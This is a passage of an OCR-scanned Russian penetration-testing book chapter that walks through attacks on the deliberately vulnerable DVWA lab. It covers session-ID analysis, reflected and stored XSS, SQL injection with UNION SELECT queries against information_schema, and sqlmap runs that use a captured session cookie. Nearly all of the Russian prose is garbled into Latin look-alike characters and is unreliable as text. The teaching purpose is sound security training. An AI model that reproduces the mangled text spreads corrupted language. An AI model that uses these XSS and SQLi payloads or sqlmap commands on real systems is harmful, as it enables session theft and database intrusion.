Ky Start (Ilyck). [Tocsie 3aBepiiieHuss BceX TECTOB Bbl MOXKETE IBAK/IBI IETKHY T Ha
OT/IeJIbHOM 3allpoce U IIPOBEPUTD ero oTBeT. B 0/lHOM U3 HAlIMX TECTOBLIX CJIy4aeB
MbI OOHAPY KUK YSI3BUMOCTD HHbeKImn MySQL:

® Error — y Bac ecTbh omubKa B BaieMm cuHTtakcuce SQL. TIpocMoTpuTe cOOTBET-
cBylomiee Baeii Bepcun cepsepa MySQL, uro0sl B crpoke 1 ucrosib3osarh '\ ",
He HapyTIasi CHHTaKCHC;

® \Warning: mysql_fetch_array() — mpeziocTaBIeHHBII apTYMEHT He SIBJISIETCS /IOy CTH-
MBIM PECypCcoM B pe3dyJibrare, rnpepoctaBiennom MySQL B /var/www/vhosts/
default/htdocs/listproducts.php (cTpoka 74).

4. B mociennem TecTOBOM IIpUMepE TTPOAHAN3UPYEM HIEHTU(DUKATOP CeaHca 1eIeBo-
ro npusoxeHust. st aToro mepeinte Ha BRIAAKY Analysis (Ananus) naenrugunka-
TOpa cearca | B MOJIe CO CIIMCKOM BBIGEPHTE MpeABIAYIIIE 3apockl. [Tocie 3arpysku
BBIOPAHHOTO 3aIpoca MepeiinTe K HIKHEN YacTh BKJIAIKU, BRIOepUTE 0OpasIlbl
(Hampumep, 20) u HaxkmMuTe Fetch (ITosryunTs), 4T0ObI TOJYYUT PasJIHdHbIe 0OPA3LbI
ueHTU(UKATOPOB ceaHca. Jasee, UT0OBI HauaTh MPOIECC aHAJINM3a, HAJKMUTE KHOTIKY
Test (Tecr). Pesynbrarsl OyayT BbIBeJeHbI Ha BKIaaKe Analysis (Axais). B rpaduye-
CKOM BHJIe pe3yJibraT Oy/IeT Mpe/IcTaBIeH Ha BKaaake Visualization (Busyanusarust).
ITOT TPOIIECC OTIPeesIIeT CIAYUYANHOCTh U HETPEICKA3YEMOCTh UAEHTH(PUKATOPOB
CEAHCOB, UTO MOYKET TIPUBECTU K 3aXBATy CEAHCOB WJIU YUETHBIX JAHHBIX APYTHX
TTOJTb30BaTeeH.

WHcTpymeHT WebScarab nmeeT MHOXeCTBO NapaMeTpoB U hyHKLMI, KOTOpble
noTeHUManbHO MOryT caenaTb NpoLecc TECTUPOBaHUS Ha NMPOHUKHOBEHWE
6onee MHOpPMaTMBHBIM. YTO6bLI NOMYYUTL JOMOMHUTENBHYIO UH(OPMALIMIO
o npoekTe WebScarab, nocetute ctpanuuy https://www.owasp.org/index.php/
Category:OWASP_WebScarab_Project.



316 asa 10 e TecTvpoBaHWe Be6-NPUNOXKEHUI

MexcanToBble CLIEHapUK

Amaxu medxccatimosoix cuenapues (XSS) cerofHs mMo-mpekHeMy OUeHb TOIYJISIPHBIL.
XSS — aro Takas MHBEKIIMOHHAS aTaKa, KOT/a 3JI0YMBIIIJICHHUK BBOIUT BPEIOHOCHBIE
CIIEHAPUH VJTH KOJI B 3aMPOCHI, OTIIPABJIsieMbie BeO-TpriioskenneM. [IpranHa yemnerHo-
CTH TIOJIOOHBIX aTak B TOM, YTO BBOAMMBIE TIOJIH30BATEIEM 3aTIPOCHI TIEPel OTTIPABKOI
Ha cepBep He TIPOXO/IAT KOPPEKTHYIO TIPOBEPKY.

[TepBOHAYAJIbHO CYIECTBOBAJIO Ba THIIA aTak XSS, Ho B 2005 roay ObL1 0OHApYsKeH
TPEeTHi.

O Stored XSS (Coxpanennbie XSS). Coxpanenue XSS npoucxouT, Korja moJib30BaTe b-
CKUI BBOJI XPaHUTCS Ha IieJIeBOM cepBepe 6e3 npoBepku. [10/1b30BaTe/IbCKIM BBOJOM
MOI'YT CJIYKHTh Oa3a JaHHBIX, Cofep;KUMOoe Ha opyme 1 KoMmMeHTapun. JKeprsa He-
0CO3HAHHO MU3BJIEKAET COXPaHEHHbIE JaHHbIE 13 BeO-IIPUIIOKEHMS, KOTOPbie Opaysep
13-3a 0BEPUS MEK/LY KIMEHTOM M CEPBEPOM CUMTaeT Oe30IaCHbIMU It 0TOOpaKe-
Hust. [IocKOIbKY BXOIHDIE TAHHBIE COXPAHSIFOTCST, TO Takne XSS — MOCTOSTHHBIE.

O Reflected XSS (Otpakenubie XSS). Orpaskennbiii XSS nosBiisieTcs1, KOT/a M0OJIb-
30BaTEJNbCKUI BBOJ B BU/E cOOOIIeHNsA 00 omubKe HEMEIJIEHHO BO3BPAIIAETCS
BEO-IIPUIIOKEHIEM. DTO MOKET OBITh Pe3yJIbTaT MOMCKA UK 060 APyroil oTBeT,
KOTOPBIN BKJTIOUAET B ce6s1 HEKOTOPBIE MJIM BCE BXOJIHBIE IAHHBIE, TPEIOCTABICHHBIE
nosib3oBaresieM. Takue JaHHbIE He TIPOBEPSIOTCS Ha He30MaCHOCTD U OTOOPAKAIOTCS
B Opaysepe Kak 4acThb 3aMpoca, a TakKe He XPaAHATCS OCTOSTHHO.

Q DOM XSS. Ob6sexmuas modens dokymernma (DOM) — s1o urcrpyment API-niporpam-
mupoBanus st nokymerToB HTML nu XML. O#n omnpeziesisgeT Jormueckyio CTpyK-
TYPY AOKYMEHTOB, CIIOCO0 HOCTYNa K HUM M yIpaBJeHus UMHU. XSS Ha OCHOBE
DOM — st0 hopma XSS, ripu KOTOpOIi Tiepe/iada 0T UICTOYHUKA K TPUEMHUKY 3apa-
JKEHHOTO [IOTOKA JIaHHBIX IIPOUCXOAUT BHYTPH Opaysepa. To ecTh HCTOUHMK JAHHBIX
Haxoantcst B DOM, mpueMHmk Takske Haxoautcst B DOM, a TOTOK TaHHBIX HUKOT/IA
He ToKuzaer Opaysep.

TectupoBaHue XSS

YT00bI IPOBEPUTH YA3BUMOCTH XSS, MbI Gy/IeM HCIIOJIb30BATh A3bIK JavaScript u cTaH-
naptabrii HTML-kon.

TecTupoBaHMe OTpaXKeHHbIX XSS

Kax BbI moMHUTE, OTpaskeHHBIM XSS Ha3bIBaeTCs Tak ITOTOMY, UTO TTOJTH30BATEIbCKITH
BBOJ HEMEIIEHHO 00pabaThIBAeTCsl 1 BO3BPAIAeTCs BeO-IpuIokenneM. YTo0bl 3T0
[POBEPUTH, HAM HY>KHO HAUTH 110JI€, KOTOPOE IPUHUMAET BBOJI IOJIH30BATEISI.
aiimute Ha crparnity DVW A, 1 kotopoii paree B3JioMasy IapoJib. B ieBoii vactu
TJIABHOI cTpaHuIlbl oToOpakaercst mewto (puc. 10.28).
[Iepeiinure B mento DVWA Security (besommaciocts DVWA) 1 B packpbiBatotiemMmcst
criucKe BoiGepuTe 3HaUeHUe low, 3aTeM HasKMUTE KHOTKY Submit (OTipaBuTh). UMM
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_ — _
Welcome to Damn Vulnerable Web App!

Damin Vulnerable Web App (DVWA) is 4 PHPIMy SQL web applicalion Lhal is darmn ILs rmiain goals
are to ba an ald for Security. professionals to test thelr Skills and toois in a legal environment, nelp wab

fers Dotter the p ar g web and ain o
teacivieam web application 3ecunty in & CIas3 reom envirgnment.

WARNING!

Damn v Web App 15 damn vuineratie! o not upload it Lo your hosting providers public ntmi Tolder or
any intermet facing weh seqver as it will e compromised. We recommend downloading and installing XAMPE
onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We dno nat take responsibility for the way in which any one uses this application. We have made the purpases of
the application clear and it should not be used maliciously. We have given wamings and taken measures to
peevenl users from inslalling DVAWA on Lo live web servers. T your web serves is compromised via an installation
O VWA It IS not our itis the of tha p wha and Installed It

General Instructions

Ttee hielp bullon allvws you Lo view hilsilips Toe sach volnerabiliy and fue each secorily level on Lheir espective

Pwuc. 10.28. CrpaHuua DVWA

JEHCTBUSIMU BBl HACTPOUTE BEO-TIPUIIOKEHHE J11st pabOThI TaK, Kak OYATO BXOIHBIE JaH-
Hble He mpoBepsoTcs (puc. 10.29).

DVWA Security ®

Script Security
Security Level is currently low.
You can set the sceurnty |evel to low, medium of figh.

Thie security level changes the viineratity level of VWA,

oy . Subimil

PHPIDS

PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
You can enabie PHUILS across this Sie tor the ouration of your SeSsion.

PHPIDS |s currantly digabled. [enable PHPIDS]

[Simulate attack] - [Wiew IDS log]

Puc. 10.29. Beb npunoxeHne HaCTpoeHO

[lnst matmero mepBOTO TecTa TMepeliinTe B JIEBOM MEHIO Ha cTpaHuIly XSS reflected
(Otpaxennsie XSS). BeeauTe B mosie BBozia caemyiomuii JavaScript-kox (puc. 10.30):

<script>alert("Allows XSS")</script>
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Vulnerability: Reflected Cross Site Scripting (XSS)

Whnars your nama?

[ <sCrptaienAllows XSS} ]

More info

lin.orgliwikiiCross-site scripting
hitp:liveen.coisecurity. comixss-ag. html

Puc. 10.30. JavaScript-kog BBeaeH

Haskmure kuonky Submit (OrtmnpaButs). B ciayuae ycnexa mHa skpare mOSIBUTCS
BCILIBbIBaloIee OKHO ¢ coobierneM Allows XSS (IIpexocrasuth XSS) (puc. 10.31).

Allows X5S

Puc. 10.31. BcnnbiBatowee cooblueHme

Tenepb BBeIeM pyroii crieHapwit (puc. 10.32).

<script>window.location="https://www.google.com'</script>

OH nepeHarnpasJsieT Gpaysep Ha APYroi caiit, B HalleM cjrydae google.com.

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

<scrptowindowocation=ritp |

Puc. 10.32. BBeaeM apyron cueHapui
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TecTupoBaHue coxpaHeHHbIX XSS

Hasanwue coxpanennvix XSS MpoU30IIIO OT TOTO, YTO OHU XPAHSAT ceOst B KOHKPETHOM
Mecre uan Gase gaHHbIX. I Kax bl pas, Kor/ja 1moJb30BaTe b IOCeIlaeT YIIOMIHYThII
B UH(UIUPOBAHHON CCBLIIKE CAUT, KO BBIIIOIHAETCA. 3JI0yMBIIIIEHHUK MOXKET JIETKO
OTIPaBUTH KJIOUYEBYIO HH(POpMaIiio, Hanpumep daii cookie, B yaaeHHOE MECTOTIOIO-
skeHue. YToObl TPOBEPUTH TO, HAM HYKHO HAITH MOJIE, KOTOPOE IIPUHUMAET TT0JIb30Ba-
TEJTHCKUI BBOJI, HATIPUMEP T10JIe KOMMEHTAPHUS.

JlJist mpoBeleHus Halllero onbiTa BeibepeM IMyHKT MeHio XSS stored (Coxpanen-
Hble XSS). Mbr yBuauM zBa 1osist BBoga: Name (Vms) u Message (Coobienue). Crpanu-
11a UMUTUPYyeT ocHOBHBIE 1107151 Comments (KommenTtapun) u Feedback (OT3bIB) (hopmbl
06paTHOii CBsI3M, KOTOPast €CTh Ha MHOTHUX caiiTax. B mosie Name (Mms) BBeseM Joboe
ums, a B oJie Message (CoobiieHue) 106aBUM TIPUBEIECHHBII HIKE KOJI, TI0CJIe Yero Ha-
JKMeM KHOTKY Sign Guestbook (IToamucats rocteByio kuury) (puc. 10.33):

<script>alert(document.cookie)</script>

Vulnerability: Stored Cross Site Scripting (XSS)

Mame *

Xxss l

<script>alert{document.cookig)<fscript>
Message * g :

Sign Guestbook |

Puc. 10.33. 3anyck cueHapus

[MosiBuTcs Berrbiatoniee okHo (puc. 10.34).

secur_ity=|n_w; PHPSESSID=fb89r_nhevcu59nqlalf256q_3554;
acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

Puc. 10.34. BcnnbiBatoLlee OKHO

Teneps, ecaiu MbI TIepelizieM OT 3TOI CTPAHUITBI, CKa)KeM, K JOMAITHEH, a 3aTeM Bep-
HEMCsI K CTPaHuUIle ¢ COXpaHEeHHbIMU XSS, HAIl KOJ[ IOJIKEH CHOBA 3AITyCTUTHCS U TIPU-
BECTH K TIOSIBJIEHWIO BCILIBIBAMOIIETO OKHA ¢ cookie juist Tekyiero ceanca. JleiictBue
3JI0BPEHOTO KOJa MOKET ObITh PACIIUPEHO, ¥, €CJIU 3JI0YMBIIIIEHHUK XOTh HEMHOTO
BJajieer JavaScript, OH MOKET HaHeCTH 11eJIeBOI cucTeMe cepbe3Hblil yuiepo.
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SQL-nHBbeKUus

SOQL-unsexuus, v SQLI, ipencrasisier coboii ataky Ha 6asy maHHbIX SQL, Tyie Koj
Wi 3arpoc 6asbl JaHHBIX [TEPeIaeTcss yepe3 HeKoTopyto GopMy BBOJA OT KJIWEHTA
K npusoxeHnto. Xotb SQLi — o7Ha 3 cTapelnmx ysS3BUMOCTEH, /10 CUX TTOP OHA caMast
HomyJsgpHast. ITo 00bsICHIETCS TeM, 4To Gasbl TaHHBIX Ha ocHoBe SQL oueHb pacipo-
crpanenbl. VImeHHo noatomy ataka SQLi HanboJiee onacHa.

Cepbestoctb atak SQLi B GoJIblIIel cTEleH OrPaHUYeHa MacTEPCTBOM 1 BOOOpaske-
HUEM 3JIOYMBITIJIEHHUKA U B MEHbIIIEH CTeTIeHN 3aIlIUTHBIMUA KOHTPMEPAMHU, TAKUMU Kak
COEJIMHEHIIE ¢ cepBepoM 0a3 JJaHHbBIX ¢ HU3KUMU IPUBUJIETUsIMU. [109TOMY OTHECHTECh
K SQL-uHBeKIu cepbe3Ho.

ITpeske ueM MbI cMOKeM BHeAPUTh SQL-KOj1, MbI IOJKHBI TOJYYUTH 6a30BOE TI0-
HUMaHIe 3TOr0 BPEIOHOCHOTO KOJIa, 8 TaKKe pazoOparhesi B CTPYKType Gasbl JaHHBIX.

SQL cunTaercst 93bIKOM TPOTrPAMMHUPOBAHMUS YeTBEPTOTO MOKOJIEHUS, ITOTOMY
YTO B HEM HCIOJB3YIOTCS CTAHIAPTHBIE, TIOHSATHBIE Y€JOBEKY CIOBA. S3bIK — TOJBKO
anrniickuii. Kpome Toro, B KOMaHIHBIX CTPOKax oOsi3aTesbHbl ckoOKI. SQL mpe/Ha-
3HAYEH JIJIsI TOCTPOeHNUst 6a3 JaHHBIX, I MbI MOKEM MCIIOJIb30BaTh €r0 JJIS CO3aHMs
Tabmul, 1o0aBeHns, yaaJleHus U OOHOBJIEHUS 3allUCel, YCTAHOBKY PasperieHuil st
MOJIb30BaTeNeH U T. /1.

Bot 6a30BblIii 3a11POC J1JIsT CO31AHMST TAOJIUIIBL:

create table employee
(first varchar(15),
last varchar(20),

age number(3),
address varchar(39),
city varchar(20),
state varchar(20));

B npexbimyieM Kojie FOBOPUTCS CAeAyIoIee: co3faiite TabIuily ¢ MMeHeM employee
co cronbuamu first, last, age, address u city, 3atem VKaKUTe U Ha3HAYbTE UX TUIIbI
JIAHHBIX C OTPAHUYEHUSIMU CUMBOJIOB varchar(15) (riepeMeHHbINl CUMBOJI C MAKCHU-
MaJIbHBIM KOJTMYECTBOM CUMBOJIOB 15) 1 number (3) (TOJbKO YnC/Ia, MAKCUMATHHO TPU
yucsia).

Bot ocnoBHol1 3ampoc (Takyke M3BECTHBIN KaK MHCTPYKIIMS select) /Ui U3BJIeUeHust
JAHHBIX U3 TaOIUIBL:

select first, last, city from employee

Omeparop select — 3T0 3alPOC, KOTOPBIHA MBI GyieM Hcmorb30BaTh. [Ipu Bxose Ha
caliT B 6a3y MaHHBIX OTIPABJISETCS 3aMPOC,/MHCTPYKINST select /UTst MOTydeHUsT HHPOP-
Mallny, TOTBEPSKAAIOIIEi JAHHBIE, C KOTOPBIMU BBI BOIILTH. J[0ITyCcTHM, CTpaHUIA BXO/IA
umeer cieayiomuii Bug (puc. 10.35).

3arpoc B IPOTrPaMMHOIT YaCTH ITPH BXOJI€ B CHCTEMY MOKET BBITJISIICTD CIIEAYIONTIM
006paszom:

SELECT * from users WHERE username='username' and password='password'
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Login: | ]

Password: |

| ogn |

Puc. 10.35. BapuaHT 3anpoca a1 NoATBEPXAEHUSI BBOAUMBIX AaHHbIX

31ech ToBopuTes: BhibGepuTe Bee (*) u3 TabAUIBI C IMEHEM users, Tie CTOJOer
username= — 3TO IlepeMeHHas username (1oJie Login (Jloruw)), a cronberr password= —
nepeMenHas password (croJiber; Password (ITaposib)).

NHcTpykums ana SQL-MHbeKunm

Termepb, KoT/Ia MBI Pa3obpasich ¢ ocHoBaMu SQL-3ampocoB, NCTOTH3YEM ITH 3HAHIST
B Hamux nHTepecax. CHoBa Boiiute B DVW A 1 oTkpoiiTe BKiaaky SQL Injection (SQL-
nnbeknus) (puc. 10.36).

Vulnerability: SQL Injection

User ID:

[ =)

More info

hittp:tivwww. securiteam.com/securityreviews!/ SDPONIP7GE. htm|
l hitp:llen.wikipedia.org/wikifSQL injection
gp liferruh. mavituna.comisgl-injection- chu'\r"hc'er okl
l-inje -

Puc. 10.36. Bknagka SQL Injection (SQL-uHbekuus)

B BepxHeit yactu aT0l cTpaHuIlkl Bbl yBuauTe 1moJie User ID (ID mosp3oBaress),
IIpeiHa3HAYeHHOe /IS BBOJIA MIeHTH(DHUKATOPA [0b30BaTesd. Ecii BBeCTH B 9TO TI0TTE
BBOJIa 1, MPUJIOJKEHHE COOOIIUT HaM, ¥ KAKOTO MOJTb30BATe ST TAKOH MIAEHTH(HUKATOP.

Cnemaem nipoctoit tect misg SQL-mnbekiun. B mose User ID (ID nmonb3oBareis)
BMecCTO uncia BeeguTe caenyioniee (puc. 10.37):

%' or '1'="1:
[TpearnonoKuM, 4TO UCXOAHBIN 3AIIPOC BBITJISIANUT CJAELYIONINM 00Pa3oM:

SELECT user_id, first_name, fast_name From users_table Where user_id =
'UserID';
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Vulnerability: SQL Injection

User ID:

[wora= | suome_|

Puc. 10.37. Tect ana SQL-mHbeKUnH

M5 mpemosiaraeM, 9To B TaOJIUTIE ¢ HA3BaHMEM users_table yKa3aHbI OTHOCUTETh-
HbIe UMeHa cTosI010B. TTocsie Toro Kak Bbl BBEJIETe CTPOKY %' OR '1'="'1, 3ampoc Oyaer
BBITJISIZIETD CJEYTOMUM 00Pa3oM:

'SELECT user_id, first_name, last_name FROM users WHERE user_id = %' OR '1'='1";

Hasxmute krornky Submit (Otripasuth). B pesyJibrare BbI JOJGKHBI TIOJTYIUTD TaOJIH-
1y ¢ nanapivu (puc. 10.38).

Vulnerability: SQL Injection

User ID:

| [

ID; %' or '1'="1
First name: admin
surname: admin

ID: %' or '1'='1
First name: Gordon
Surname: Brown

ID: %" or '"1'="1
First name: Hack
Surname: Me

ID: %" or '"1'="1
First pame: Pablo
Surname: Picasso

ID: %' or "1'='1
First name: Bob
Surname: Smith

ID: %' or "1'="1
First name: user
Surname: user

Puc. 10.38. MMony4eHHble AaHHblE

CumBoJ1 % 0603HAYAET MOJLYJIb U Bo3Bpariaet false. Ho Tak Kak Mbl JoGaBUIIH OTiepa-
TOp OR, ecJint TiepBasi 4acTh 3ampoca BepHeT false (13-3a %), OR 3aCTaBUT €T0 BBITIOJTHUTD
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BTOPYIO 4acTh: '1'="1,4To paBHO true. [lockobKy Bce, UTO BBIIIOIHSET 3a11POC, BCET/Ia
BEPHO /ISt KayKI0i 3amucu B tabauiie, SQL pacreyaThiBaeT BCe 9TH 3aTNCH.
BoT HeCKOIbKO APYTUX 3aIIPOCOB, KOTOPbIE BBl MOJKETE MOTPOOOBATE BBIOJIHUTS.

O Tloxy4uTb UMs yYETHOI 3aITUCH, UCTIOJB3YIONIEeCs /IS TOAKITIOYEHNsT MEKITY BeO-
MPUJIOKEHEM U 6a30ii TaHHBIX:

%' or ©=0 union select null, user() #

Q TMosyanTd TeKyIyio 6a3y TaHHLIX, 13 KOTOPOH MBI N3BJIEKATN TAHHDIE:

%' or ©0=0 union select null, database() #

O BeiBectu Tabauniry nHGOPMAIMOHHOM cxembl (Tabania information_schema —
510 6asa JaHHBIX, B KOTOPOIi Xpanurcs uudopmanus 060 Beex Apyrux H6asax
JTAHHBIX ):

%' and 1=0 union select null, table_name from information_schema.tables #

O Besectu tabsuiy 6a3bl JaHHBIX. VICTOTB3YsT AaHHbIE U3 TPEABIAYINETO 3aMpoca,
MOZKHO BBISICHITD, YTO 9TO 3a TabuIa:

%' and 1=0 union select null, table_name from information_schema.tables
where table_name like ‘'user%'#

ABTOMaTn4yeckas SQL-mHbekuus

Tenepn, korga MbI TOHUMaEM, Kak BBITJISANUT SQL-MHbeKINS, pACCMOTPUM HEKOTOPBIE
WHCTPYMEHTBI, KOTOPbIE MOTYT aBTOMATU3UPOBATH ITPOIIECC.

sqlmap. Nucrpymenr sqlmap B Kali Linux BcTpoen mo ymosuanuio. Ero HasHa-
yeHune — BbIsIBJIeHUE ya3BuMocTedl SQLi. PaccMoTpuM mpuMep ero ucroJsib30BaHus.
CHavasa MBI ¢ TTOMOIIbI0 WHCTPYMeHTa Burp Suite cobepeM HeKOTOpBIE MaHHbIE, He-
o6xoMbIe /7Tt paboThl sqlmap, Tocse 4ero BOCIoIb3yeMes caMum sqlmap.

amycrute Burp Suite u, 4T00bI BBIIOJIHUTH MAPIIPYTU3AIIUIO BCero TpaduKa yepes
€ro TIPOKCH, epeiinTe K HacTpolikaM Gpaysepa. Y 6eurech, 4To IepexBaT BKIIOUEH.
B npunoxennn DVW A niepeiizinte Ha crpanuity SQL Injection (SQL-unbekiust) u BBe-
IuTe NAeHTHPUKATOP oab30BaTesd. B aToM mpuMepe Mbl ykaskeM 1.

Burp Suite mepexsatut 3anpoc u Gy/IeT ero mepeajipecoBbIBATh JI0 €T0 3aBEPIICHUS.
Barr pesyzbrar Gyer nipencrasien Ha BebG-crpanutie. [lepeiiaure Ha Bkaagky Target
(Ilenw), oTkpoiiTe BiOKEHHYTO BKIAAKY Site map (Kapra caiita), a 3aTrem mamnky DVWA,
pacroJiokeHHy10 o/t nuTepecyiomum Bac [P (B mamem ciayuae ato 192.168.0.19).
s nerammsarnuu pesysbraTtos 1o mytn URL (http://192.168.0.19/dvwa/vulnerabilities/sqli/ )
IeJIKaiiTe Ha MATEHBKUX, MOXOKUX Ha CTPEIKK TPeyToibHUKaxX. Tak BbI Gyjiere OTKPbI-
BaTb BJIOKEHHbIE TAIIKU. Bech aTOT IyTh BB MOKETE TPOBEPUTD, BBE/IS €T0 B aJIPECHYIO
cTpoKy Gpaysepa (puc. 10.39).

Bri6epure zanpoc co cratycom 200 (puc. 10.40).

Ha Bxiagke Request (3ampoc) B epBOii CTPOKe MbI IIOJIYYMM HEOOXOAMMBIN HaM 3a-
POC, OTIIPABJISIEMBII Be6-HpI/IJIO>KeHI/IeMZ /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit,
u nosydaeM ID ceccun PHP wnn daiiss cookie (puc. 10.41).
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J Target_T Proxy TSpider TScanner Int
Site map | Scope

| Filter: Hiding not found items; hiding CS5. i

¥ [ http://192.168.0.19
¥ [T dvwa

P

about_php
dvwa
instructions.php
logout.php
phpinfo_php
security.php
setup_php

= vulnerabilities
= [0 brute

» [ captcha
e[ csrf

» [ exec

e[ fi

¥ [T sgli

v
DD EIE

-

» [ sqli_blind

[ upload

» @& view_help.php

» & view_source_php
[ xss 1

» [ %55 5

Puc. 10.39. BroxeHHasi Bknagka Site map (Kapta caiita)

Host | Method | URL | Params |Status 4| Length | MIME type Title
http:/f192.168.0.19 GET Jdvwa/vulnerabilities/sgl... v 200 5280 HTML Damn Vu
http://192.168.0.19 GET [dvwafvulnerabilities/sqlif HTML

Puc. 10.40. BribpaH 3anpoc co cratycom 200

‘Reguest | Response

JRaw;T Params T Headers THex 1

GET /dwwasvulnerabilities/sgli/?1d=1&5ubmit=Submit HTTP/1.1

Host: 192.16B.8.19

User-Agent: Mozillas5.8 {X11; Linux xB6_64; rv:52.0} Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;0=0.8
Accept-Language: en-US,en;g=08.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.18/dvwasvulnerabilities/sqli/

Cookie: security=Llow; PHPSESSID=fbB9mhevcusBoglalf2seg3ssd;
acopendivids=swingset, jotto,phpbb2, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Puc. 10.41. B nepBoit CTpOKe HAaXOAWUTCS 3arofoBoK, coaepxalumnii URL MCTOYHMKA 3anpoca
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Temnepb, yToObI 1OGPATHCS A0 [0Jb30BATENIbCKOI Oa3hl JaHHBIX, OTKPONUTE TePMU-

HaJ U, UCIIOJIb3YsI TTOJyIeHHbIE IaHHbIe, BBEJIUTE B KOMAHIHYIO CTPOKY CJeyioliee
(puc. 10.42):

sqlmap -u"http://192.168.0.19/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=fb89mhevcus9oqlalf2s6q3ss4; security=low" -b
--current-db--current-user

root@kali:~# sqlmap -u "http://192.168.0.19/dvwa/vulnerabilities/sqli/?id=1&Subm
it=Submit" --cookie="PHPSESSID=fbB9mhevcus9oqlalf2s6q3ss4; security=low" -b --cu

rrent-db --current-user]]

Puc. 10.42. lNoka3aHHas paHee CTpoKa BBeAeHa B KOMaHAHYIO CTPOKY TepMUHana

Hauunas ¢ --cookie, 910 oHa cTpoka 6e3 mpobesioB. B aToM Koje MCHoIb3yoTes
TaKKe TapaMeTphL:
Q -u— ams neneBoro URL, KoTopblit Mbl TosTyansti oT Burp;
--cookie — s unopmarmu cookie, KOTOpyIO MbI 3axBaTIIIU ¢ Burp;
-b — j1a oTobGpaskenus Gannepa 6asbl JaHHbIX;

--current-db — Y4TOGBI MOTYYUTH TEKYIIYIO GA3y TAHHBIX;

000 DO

--current-user — 94TOOBI MOJTYYUTH UMsI TEKYIETO TTOJB30BATENST TEKYIEH Has3bl
nanubix (puc. 10.43).

root@kali:~# sqlmap -u "http://192.168.0.19/dvwa/vulnerabilities/sqli/?id=1&Submfg
it=Submit" --cookie="PHPSESSID=fbB89mhevcus9oqlalf2s6q3ss4; security=low" -b --cu
rrent-db --current-user

{1.2.8#stable}

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[¥] starting at 17:28:11

[17:28:11] [INFO] testing connection to the target URL
- [INFO] checking if the target is protected by some kind of WAF/IPS/ID

[INFO] testing if the target URL content is stable

[INFO] target URL content is stable

[INFO] testing if GET parameter 'id' is dynamic

[WARNING] GET parameter 'id' does not appear to be dynamic

Puc. 10.43. NHcTpyMeHT sqlmap Hayan ceoto paboty
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Bo Bpems Tecta BaM OGyiieT MpesioKeHO MPUHATH BCE 3HAYCHUSI, 3a/laHHBIE 10
ymosuanuio. [l aToro cMeno sxmuTe KiaaBuiny Enter. EcTh Tosibko offHO mpuTIIanie-
HUeE, TJi€ MbI, YTOOBI COKOHOMUTH BPEMsI, HE HCIIOJIb30BAJIN 3HAYEHUE 110 YMOTYAHUIO
(puc. 10.44).

ifor the remaining tests, do you want to include all tests for 'MySQL®' extending I

‘provided level (1) and risk (1) values? [Y/n] n

Puc. 10.44. EqMHCTBEHHOE NpUrnalleHne, B KOTOPOM He BblibpaHo
npeanaraemoe no yMON4aHuIo 3HaveHve

B koHite GyyT OKa3aHbl pe3yJbTarhl IpoBeaeHHoro Tecta (puc. 10.45).

5] [INFO] the back-end DBEMS is MySQL
:28:46] [INFD] fetching banner
server operating system: Linux Ubuntu 10.84 (Lucid Lynx)
application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL == 5.0
'5.1.41-3ubuntul2.6-1log’
5] [INFO] fetching current user
user: 'dvwa@s'
6] [INFO] fetching current database
database: ‘dvwa’
: 6] [INFO] fetched data logged to text files under '/root/.sqlmap/output/
192.168.0.19"

[*¥] shutting down at 17:28:46

root@kali:~# JJ

Puc. 10.45. Pe3ynbTathl TecTa

B arom Tecte MbI nostyunsm urbopMmaiio ob oneparontoi cucreme (Ubuntu 10.04),
B KOTOPOU UCIIOJIB3YETCsT TEXHOJIOTHS Pa3pabOTKU U BBIIOJHEHUsI KOJla HA CTOPOHE
cepsepa (PHP 5.3.2 u Apache 2.2.14), sanyuiena 6asa ganubix MySQL. Tekymiast 6asa
JMAHHBIX — dvwa, a TEKYIIUI TT0JIb30BaTeN b — dvwa.

YT00bI OTYUUTh CIIUCOK BCEX IOCTYIHBIX JIsT sqlmap apaMeTpoB, IPOCTO BBEANUTE
B KOMaH/[HYIO CTPOKY TepMHUHasa sqlmap -h. YToObl yBUIETH JOMOJHUTEIBHBIE TTapaMe-
TPBI, BBeAUTE KOMaHAY sqlmap --hh.

BbinonHeHne KoMaHAa, 06xoA KaTanoros
N BKNtOYEHME (pannoB

HH?)EKMU}Z Komamno — 3TO TUTI aTaKH, OCHOBHasA 11€JIb KOTOpOfI COCTOMT B BBIIIOJTHEHNHN
L[e]IeBOI‘/JI OHepaHHOHHOﬁ CUCTEMOH CHUCTEMHBIX KOMaH/lT YA3BUMOTO TIPpUJIOJKEHUI.
ITHU TUTIBI aTaK BO3MOKHBI B TOM cJjydae, Korja HebGe30nacHbIl MOIb30BaTEIbCKUI
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BBOJI MEPE/IACTCsT U3 MPUIOKEHUS B CUCTEMHYI0 06010uKy. [TocTaBisieMbie KOMaH/ bl
BBITIOJTHSAIOTCS] B COOTBETCTBUH C TIPUBUJICTUAMHE MpUiIokeHus. Hanpumep, BeG-cepsep
MOsKeT OBITh 3aIyIIEeH MOJIb30BaTeIeM ¢ UMeHeM www-data miti riosib3oBaresieM Apache,
HO He root.

O6x0/10M KaTajora Ha3bIBAETCsI OMEPAIHs, KOT/[a CEPBEP MO3BOJISIET 3JI0YMBIIIICH-
HUKY 9UTaTh (hailJ MK KaTaJoTH 3a TpejielaMi 0OBIYHOTO KaTaiora Beb-cepBepa.

Ya3BumocTu BKITIOUeHUsT (DaIOB MTO3BOJISTIOT 3JI0YMBIIIIEHHUKY 3arpy3uTh (aiiia Ha
BeO-cepBep, UCTIONB3YS YA3BUMBIE MTPOIECAYPHI BKIIOUEHUS. Y I3BUMOCTH TAKOTO THTIA
BO3HUKAeT, HAPUMep, KOTr/[a CTPAHUIIA TTOJTyYaeT B KaUyecTBe BXOIHBIX TAHHBIX MyTh
